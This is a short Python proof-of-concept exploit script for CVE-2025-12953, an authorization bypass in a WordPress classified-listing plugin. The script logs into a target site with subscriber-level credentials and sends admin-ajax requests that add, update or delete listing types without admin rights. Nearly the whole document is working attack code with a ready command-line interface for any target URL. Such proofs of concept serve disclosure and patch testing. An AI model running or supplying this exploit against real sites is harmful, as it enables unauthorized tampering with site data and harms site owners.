CVE-2025-12953

#!/usr/bin/env python3 """ CVE-2025-12953 PoC - WordPress Classified Listing Plugin Authorization Bypass This PoC demonstrates the missing capability check vulnerability in the Classified Listing plugin. """ import requests import sys from urllib.parse import urljoin def exploit_cve_2025_12953(target_url, username, password, action='add'): """ Exploit the missing authorization vulnerability in WordPress Classified Listing plugin. Args: target_url: Base URL of the WordPress site username: WordPress username (subscriber level or higher) password: WordPress password action: 'add', 'update', or 'delete' """ # Step 1: Authenticate to WordPress session = requests.Session() login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Prepare AJAX request based on action ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') if action == 'add': # Add a new listing type payload = { 'action': 'rtcl_ajax_add_listing_type', 'listing_type': { 'name': 'Malicious Type', 'slug': 'malicious-type', 'description': 'Injected by CVE-2025-12953' } } print("[*] Adding malicious listing type...") elif action == 'update': # Update existing listing type (replace ID with actual) payload = { 'action': 'rtcl_ajax_update_listing_type', 'listing_type': { 'id': 1, 'name': 'Modified Type', 'description': 'Modified by CVE-2025-12953' } } print("[*] Updating listing type...") elif action == 'delete': # Delete listing type (replace ID with actual) payload = { 'action': 'rtcl_ajax_delete_listing_type', 'listing_type_id': 1 } print("[*] Deleting listing type...") else: print("[-] Invalid action") return False # Step 3: Send AJAX request without admin privileges print("[*] Sending AJAX request (subscriber-level access)...") response = session.post(ajax_url, data=payload) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status {response.status_code}") return False if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <action>") print("Actions: add, update, delete") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] action = sys.argv[4] exploit_cve_2025_12953(target, user, pwd, action)

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